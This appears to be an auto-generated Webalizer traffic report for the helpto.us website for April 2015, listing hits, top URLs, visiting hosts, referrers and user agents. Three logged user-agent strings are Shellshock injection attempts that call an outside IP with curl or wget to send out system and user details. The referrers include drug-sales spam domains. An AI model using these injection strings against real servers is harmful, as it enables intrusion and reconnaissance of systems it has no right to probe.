Usage Statistics for helpto.us

Summary Period: April 2015
Generated 01-May-2015 02:52 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for April 2015
Total Hits 19550
Total Files 16598
Total Pages 16881
Total Visits 2285
Total KBytes 308819
Total Unique Sites 782
Total Unique URLs 4769
Total Unique Referrers 490
Total Unique User Agents 372
. Avg Max
Hits per Hour 27 777
Hits per Day 651 2384
Files per Day 553 2292
Pages per Day 562 2271
Sites per Day 26 62
Visits per Day 76 115
KBytes per Day 10294 47777
Hits by Response Code
Code 200 - OK 84.90% 16598
Code 206 - Partial Content 0.01% 2
Code 301 - Moved Permanently 0.02% 4
Code 304 - Not Modified 0.12% 24
Code 400 - Bad Request 0.17% 34
Code 403 - Forbidden 0.19% 38
Code 404 - Not Found 14.56% 2847
Code 500 - Internal Server Error 0.02% 3

Daily usage for April 2015

Daily Statistics for April 2015
Day Hits Files Pages Visits Sites KBytes
1 188 0.96% 176 1.06% 153 0.91% 74 3.24% 49 6.27% 1607 0.52%
2 324 1.66% 320 1.93% 224 1.33% 83 3.63% 35 4.48% 2496 0.81%
3 404 2.07% 399 2.40% 356 2.11% 109 4.77% 45 5.75% 3641 1.18%
4 329 1.68% 326 1.96% 306 1.81% 107 4.68% 44 5.63% 4465 1.45%
5 176 0.90% 164 0.99% 154 0.91% 76 3.33% 53 6.78% 1654 0.54%
6 241 1.23% 219 1.32% 131 0.78% 71 3.11% 52 6.65% 1539 0.50%
7 122 0.62% 111 0.67% 108 0.64% 53 2.32% 37 4.73% 1101 0.36%
8 487 2.49% 153 0.92% 417 2.47% 58 2.54% 41 5.24% 1405 0.45%
9 882 4.51% 172 1.04% 770 4.56% 69 3.02% 50 6.39% 1661 0.54%
10 155 0.79% 141 0.85% 138 0.82% 62 2.71% 44 5.63% 1427 0.46%
11 152 0.78% 146 0.88% 144 0.85% 60 2.63% 35 4.48% 1485 0.48%
12 192 0.98% 153 0.92% 126 0.75% 60 2.63% 41 5.24% 1494 0.48%
13 248 1.27% 170 1.02% 120 0.71% 65 2.84% 52 6.65% 1486 0.48%
14 202 1.03% 192 1.16% 129 0.76% 66 2.89% 53 6.78% 1382 0.45%
15 172 0.88% 167 1.01% 121 0.72% 64 2.80% 53 6.78% 1373 0.44%
16 276 1.41% 271 1.63% 210 1.24% 69 3.02% 57 7.29% 15987 5.18%
17 657 3.36% 646 3.89% 636 3.77% 79 3.46% 40 5.12% 7710 2.50%
18 577 2.95% 567 3.42% 495 2.93% 114 4.99% 44 5.63% 5376 1.74%
19 1086 5.55% 1065 6.42% 1003 5.94% 76 3.33% 39 4.99% 11190 3.62%
20 1851 9.47% 1627 9.80% 1614 9.56% 68 2.98% 58 7.42% 24735 8.01%
21 971 4.97% 895 5.39% 879 5.21% 61 2.67% 50 6.39% 30829 9.98%
22 178 0.91% 81 0.49% 163 0.97% 44 1.93% 33 4.22% 823 0.27%
23 354 1.81% 145 0.87% 221 1.31% 51 2.23% 41 5.24% 4588 1.49%
24 669 3.42% 403 2.43% 477 2.83% 81 3.54% 40 5.12% 14472 4.69%
25 1168 5.97% 1058 6.37% 1025 6.07% 91 3.98% 36 4.60% 47777 15.47%
26 1176 6.02% 1115 6.72% 1104 6.54% 111 4.86% 53 6.78% 10939 3.54%
27 944 4.83% 858 5.17% 842 4.99% 115 5.03% 62 7.93% 30258 9.80%
28 2167 11.08% 2138 12.88% 2115 12.53% 83 3.63% 50 6.39% 33660 10.90%
29 2384 12.19% 2292 13.81% 2271 13.45% 91 3.98% 51 6.52% 35858 11.61%
30 818 4.18% 428 2.58% 429 2.54% 76 3.33% 30 3.84% 6402 2.07%

Hourly usage for April 2015

Hourly Statistics for April 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 18 545 2.79% 10 319 1.92% 13 396 2.35% 188 5647 1.83%
1 12 367 1.88% 11 352 2.12% 11 333 1.97% 136 4085 1.32%
2 22 662 3.39% 10 303 1.83% 19 570 3.38% 170 5096 1.65%
3 38 1152 5.89% 24 743 4.48% 35 1062 6.29% 441 13238 4.29%
4 45 1364 6.98% 43 1304 7.86% 42 1270 7.52% 1728 51842 16.79%
5 12 369 1.89% 11 348 2.10% 11 333 1.97% 125 3759 1.22%
6 22 673 3.44% 19 599 3.61% 19 591 3.50% 192 5763 1.87%
7 31 935 4.78% 18 543 3.27% 18 553 3.28% 288 8627 2.79%
8 28 868 4.44% 27 823 4.96% 25 755 4.47% 697 20922 6.77%
9 19 597 3.05% 18 557 3.36% 17 535 3.17% 195 5856 1.90%
10 40 1208 6.18% 39 1184 7.13% 38 1159 6.87% 1178 35353 11.45%
11 32 987 5.05% 31 951 5.73% 28 845 5.01% 330 9908 3.21%
12 50 1526 7.81% 36 1093 6.59% 44 1346 7.97% 347 10413 3.37%
13 27 835 4.27% 27 820 4.94% 24 743 4.40% 294 8833 2.86%
14 27 832 4.26% 24 739 4.45% 22 670 3.97% 326 9778 3.17%
15 52 1588 8.12% 41 1252 7.54% 42 1278 7.57% 1075 32239 10.44%
16 33 1019 5.21% 33 1000 6.02% 30 923 5.47% 452 13557 4.39%
17 22 661 3.38% 21 653 3.93% 21 646 3.83% 230 6909 2.24%
18 26 807 4.13% 23 693 4.18% 22 685 4.06% 212 6351 2.06%
19 10 327 1.67% 10 317 1.91% 9 270 1.60% 114 3430 1.11%
20 14 433 2.21% 13 415 2.50% 11 352 2.09% 295 8853 2.87%
21 15 470 2.40% 15 451 2.72% 12 388 2.30% 396 11887 3.85%
22 17 515 2.63% 15 455 2.74% 13 401 2.38% 132 3957 1.28%
23 27 810 4.14% 22 684 4.12% 25 777 4.60% 751 22517 7.29%

Top 30 of 4769 Total URLs
# Hits KBytes URL
1 4223 21.60% 40981 13.27% /webalizer/
2 1608 8.23% 18582 6.02% /
3 508 2.60% 33 0.01% /robots.txt
4 73 0.37% 8832 2.86% /webalizer/usage_201401.html
5 72 0.37% 8801 2.85% /webalizer/usage_201410.html
6 50 0.26% 994 0.32% /widgets/gen_4.1.gif
7 48 0.25% 46 0.01% /widgets/gen_0.1.gif
8 47 0.24% 8 0.00% /widgets/gen_1.1.gif
9 47 0.24% 58 0.02% /widgets/gen_17.1.gif
10 47 0.24% 2 0.00% /widgets/gen_2.1.gif
11 47 0.24% 55 0.02% /widgets/gen_25.1.gif
12 47 0.24% 119 0.04% /widgets/gen_3.1.gif
13 47 0.24% 44 0.01% /widgets/gen_7.1.gif
14 47 0.24% 2 0.00% /widgets/spacer.gif
15 46 0.24% 576 0.19% /e-commerce-solutions-catalog.html
16 46 0.24% 50 0.02% /widgets/gen_11.1.gif
17 46 0.24% 54 0.02% /widgets/gen_19.1.gif
18 46 0.24% 57 0.02% /widgets/gen_29.1.gif
19 46 0.24% 53 0.02% /widgets/gen_31.1.gif
20 46 0.24% 46 0.01% /widgets/gen_5.1.gif
21 46 0.24% 5 0.00% /widgets/gen_6.1.gif
22 46 0.24% 40 0.01% /widgets/gen_8.1.gif
23 45 0.23% 5458 1.77% /webalizer/usage_201501.html
24 44 0.23% 316 0.10% /e-commerce-solutions-catalog2.html
25 41 0.21% 329 0.11% /catalog.html
26 34 0.17% 264 0.09% /e-commerce-solutions-catalog1.html
27 31 0.16% 2925 0.95% /webalizer/usage_200901.html
28 31 0.16% 2923 0.95% /webalizer/usage_200902.html
29 31 0.16% 2878 0.93% /webalizer/usage_200905.html
30 22 0.11% 39 0.01% /download/

Top 10 of 4769 Total URLs By KBytes
# Hits KBytes URL
1 4223 21.60% 40981 13.27% /webalizer/
2 1608 8.23% 18582 6.02% /
3 73 0.37% 8832 2.86% /webalizer/usage_201401.html
4 72 0.37% 8801 2.85% /webalizer/usage_201410.html
5 1 0.01% 6144 1.99% /download/PWB12.exe
6 45 0.23% 5458 1.77% /webalizer/usage_201501.html
7 1 0.01% 4440 1.44% /download/SWB31.exe
8 2 0.01% 3642 1.18% /modlogan/mla-full-web_request_url_traffic-201504.html
9 31 0.16% 2925 0.95% /webalizer/usage_200901.html
10 31 0.16% 2923 0.95% /webalizer/usage_200902.html

Top 10 of 86 Total Entry Pages
# Hits Visits URL
1 1608 8.23% 1163 53.37% /
2 4223 21.60% 829 38.04% /webalizer/
3 46 0.24% 26 1.19% /e-commerce-solutions-catalog.html
4 41 0.21% 21 0.96% /catalog.html
5 34 0.17% 16 0.73% /e-commerce-solutions-catalog1.html
6 44 0.23% 15 0.69% /e-commerce-solutions-catalog2.html
7 45 0.23% 14 0.64% /webalizer/usage_201501.html
8 73 0.37% 10 0.46% /webalizer/usage_201401.html
9 10 0.05% 3 0.14% /DAS/
10 5 0.03% 3 0.14% /modlogan/m_usage_201012_002_003.html

Top 10 of 100 Total Exit Pages
# Hits Visits URL
1 1608 8.23% 1173 53.15% /
2 4223 21.60% 829 37.56% /webalizer/
3 44 0.23% 31 1.40% /e-commerce-solutions-catalog2.html
4 46 0.24% 25 1.13% /e-commerce-solutions-catalog.html
5 34 0.17% 15 0.68% /e-commerce-solutions-catalog1.html
6 72 0.37% 13 0.59% /webalizer/usage_201410.html
7 41 0.21% 12 0.54% /catalog.html
8 31 0.16% 10 0.45% /webalizer/usage_200905.html
9 22 0.11% 3 0.14% /download/
10 7 0.04% 3 0.14% /webalizer/usage_201504.html

Top 30 of 782 Total Sites
# Hits Files KBytes Visits Hostname
1 1011 5.17% 1011 6.09% 9866 3.19% 2 0.09% 77.123.28.183
2 763 3.90% 574 3.46% 9931 3.22% 4 0.18% static.132.8.76.144.clients.your-server.de
3 661 3.38% 661 3.98% 6445 2.09% 165 7.22% 176.98.70.163
4 620 3.17% 597 3.60% 10153 3.29% 6 0.26% static.107.156.9.5.clients.your-server.de
5 612 3.13% 600 3.61% 5072 1.64% 6 0.26% 104.255.64.50
6 600 3.07% 600 3.61% 5852 1.90% 150 6.56% 77.123.242.33
7 513 2.62% 491 2.96% 28350 9.18% 2 0.09% 62-210-90-118.rev.poneytelecom.eu
8 508 2.60% 508 3.06% 4957 1.61% 183 8.01% 93.158.212.61
9 476 2.43% 476 2.87% 4643 1.50% 104 4.55% 77.123.240.236
10 468 2.39% 461 2.78% 9801 3.17% 7 0.31% static.215.114.40.188.clients.your-server.de
11 390 1.99% 90 0.54% 2054 0.67% 2 0.09% ns504298.ip-192-99-1.net
12 387 1.98% 115 0.69% 1392 0.45% 2 0.09% f481.fuchsia.fastwebserver.de
13 376 1.92% 3 0.02% 193 0.06% 1 0.04% server.smartbuzzsolutions.com
14 356 1.82% 228 1.37% 2699 0.87% 5 0.22% static.20.12.4.46.clients.your-server.de
15 333 1.70% 333 2.01% 3902 1.26% 111 4.86% nat01.comcor-tv.ru
16 328 1.68% 328 1.98% 6529 2.11% 2 0.09% nexus.cobalthost.net
17 326 1.67% 325 1.96% 2580 0.84% 3 0.13% static.105.183.251.148.clients.your-server.de
18 316 1.62% 4 0.02% 175 0.06% 1 0.04% host.karenfredericks.com
19 309 1.58% 279 1.68% 1132 0.37% 2 0.09% static.174.124.251.148.clients.your-server.de
20 309 1.58% 301 1.81% 40023 12.96% 2 0.09% static.197.174.46.78.clients.your-server.de
21 309 1.58% 309 1.86% 2079 0.67% 4 0.18% static.88-198-164-52.clients.your-server.de
22 306 1.57% 295 1.78% 4302 1.39% 3 0.13% 104.255.67.238
23 303 1.55% 268 1.61% 5460 1.77% 2 0.09% cpc69050-oxfd25-2-0-cust148.4-3.cable.virginm.net
24 268 1.37% 260 1.57% 2094 0.68% 1 0.04% host109-149-176-117.range109-149.btcentralplus.com
25 254 1.30% 156 0.94% 765 0.25% 1 0.04% p5ddb4aee.dip0.t-ipconnect.de
26 252 1.29% 252 1.52% 2007 0.65% 1 0.04% ns4001436.ip-198-245-51.net
27 249 1.27% 249 1.50% 28016 9.07% 23 1.01% static.169.58.9.5.clients.your-server.de
28 242 1.24% 242 1.46% 2338 0.76% 3 0.13% static.215.5.243.136.clients.your-server.de
29 238 1.22% 237 1.43% 13592 4.40% 1 0.04% reverse-dns.chicago
30 237 1.21% 236 1.42% 2354 0.76% 1 0.04% mj1.naefmarco.ch

Top 10 of 782 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 309 1.58% 301 1.81% 40023 12.96% 2 0.09% static.197.174.46.78.clients.your-server.de
2 513 2.62% 491 2.96% 28350 9.18% 2 0.09% 62-210-90-118.rev.poneytelecom.eu
3 249 1.27% 249 1.50% 28016 9.07% 23 1.01% static.169.58.9.5.clients.your-server.de
4 174 0.89% 174 1.05% 13596 4.40% 1 0.04% static.178-63-49-82.clients.your-server.de
5 238 1.22% 237 1.43% 13592 4.40% 1 0.04% reverse-dns.chicago
6 620 3.17% 597 3.60% 10153 3.29% 6 0.26% static.107.156.9.5.clients.your-server.de
7 763 3.90% 574 3.46% 9931 3.22% 4 0.18% static.132.8.76.144.clients.your-server.de
8 1011 5.17% 1011 6.09% 9866 3.19% 2 0.09% 77.123.28.183
9 468 2.39% 461 2.78% 9801 3.17% 7 0.31% static.215.114.40.188.clients.your-server.de
10 2 0.01% 2 0.01% 7139 2.31% 0 0.00% google-proxy-66-249-83-170.google.com

Top 30 of 490 Total Referrers
# Hits Referrer
1 12497 63.92% - (Direct Request)
2 935 4.78% http://google.com
3 336 1.72% http://www.gorodservis.ru
4 332 1.70% http://otv24.com
5 320 1.64% http://donstroymebel.com/
6 248 1.27% http://www.tiprus.com/
7 236 1.21% http://hello-moto.com/
8 224 1.15% http://ladypozitiv.com/
9 208 1.06% http://chat-ruletka.net/chatroulette-russia
10 192 0.98% http://donpozitiv.com/
11 105 0.54% http://biaxin2015.blogspot.com
12 105 0.54% http://buyclarithromycin500mg.jimdo.com
13 105 0.54% http://buyivermectinonline.weebly.com
14 105 0.54% http://healthadwisetoyou.soup.io
15 105 0.54% http://healthclindamycin300mg.snack.ws
16 105 0.54% http://ivermectinbuyonline.weebly.com
17 105 0.54% http://ivermectinforhumans.weebly.com
18 105 0.54% http://purchasebiaxin260mg.soup.io
19 105 0.54% https://azelex20.wordpress.com
20 100 0.51% http://cleocin150mg.ismyreal.name
21 100 0.51% http://ivermectinotc.weebly.com
22 100 0.51% http://selpin2015.tumblr.com
23 64 0.33% http://www.xolodremont.ru/
24 48 0.25% http://dating.chat-ruletka.net
25 40 0.20% http://dating.chat-ruletka.net/ru/diary/
26 38 0.19% https://vk.com/id281920431
27 36 0.18% http://www.moykrest.ru/monastyrskij-chaj-ot-diabeta
28 32 0.16% http://dating.chat-ruletka.net/ru/travel/
29 32 0.16% http://imp-mebeli.ru/
30 25 0.13% http://corsel-ural.ru/mramornii_sheben

Top 1 of 1 Total Search Strings
# Hits Search String
1 1 100.00% www.helpto.us

Top 15 of 372 Total User Agents
# Hits User Agent
1 10786 55.17% Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
2 620 3.17% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
3 447 2.29% () { :; }; curl http://54.248.244.82/s.php?c1-`uname -p`
4 357 1.83% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
5 296 1.51% () { :; }; wget -qO - http://54.248.244.82/s.php?w1-`uname`-`uname -p`-`whoami`
6 236 1.21% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
7 192 0.98% () { :; }; wget -qO - http://54.248.244.82/s.php?w1-`uname -p`
8 156 0.80% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
9 143 0.73% Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
10 142 0.73% Mozilla/5.0 (Windows NT 5.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
11 136 0.70% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
12 135 0.69% Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
13 133 0.68% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
14 131 0.67% Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
15 130 0.66% Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Usage by Country for April 2015

Top 30 of 39 Total Countries
# Hits Files KBytes Country
1 6330 32.38% 5497 33.12% 145633 47.16% Germany
2 6282 32.13% 5894 35.51% 69458 22.49% Unresolved/Unknown
3 2573 13.16% 2025 12.20% 27870 9.02% Network (net)
4 1734 8.87% 955 5.75% 23363 7.57% Commercial (com)
5 912 4.66% 878 5.29% 32130 10.40% European Union
6 453 2.32% 451 2.72% 5062 1.64% Russian Federation
7 329 1.68% 3 0.02% 182 0.06% Israel
8 283 1.45% 282 1.70% 760 0.25% Brazil
9 257 1.31% 255 1.54% 2413 0.78% Switzerland
10 85 0.43% 85 0.51% 229 0.07% Italy
11 74 0.38% 74 0.45% 802 0.26% Montenegro
12 33 0.17% 33 0.20% 90 0.03% Mexico
13 24 0.12% 17 0.10% 49 0.02% Serbia
14 19 0.10% 19 0.11% 70 0.02% Lithuania
15 17 0.09% 17 0.10% 46 0.01% Australia
16 17 0.09% 17 0.10% 46 0.01% Canada
17 17 0.09% 17 0.10% 46 0.01% Spain
18 17 0.09% 17 0.10% 46 0.01% Portugal
19 17 0.09% 15 0.09% 99 0.03% Turkey
20 12 0.06% 1 0.01% 5 0.00% Ukraine
21 11 0.06% 11 0.07% 109 0.04% United Kingdom
22 8 0.04% 8 0.05% 94 0.03% Educational (edu)
23 6 0.03% 6 0.04% 60 0.02% Non-Profit (org)
24 6 0.03% 6 0.04% 35 0.01% British Indian Ocean Territory
25 4 0.02% 2 0.01% 1 0.00% Finland
26 4 0.02% 4 0.02% 24 0.01% Norway
27 4 0.02% 3 0.02% 24 0.01% Poland
28 4 0.02% 4 0.02% 24 0.01% Seychelles
29 4 0.02% 0 0.00% 2 0.00% Taiwan
30 2 0.01% 0 0.00% 1 0.00% China


Generated by Webalizer Version 2.20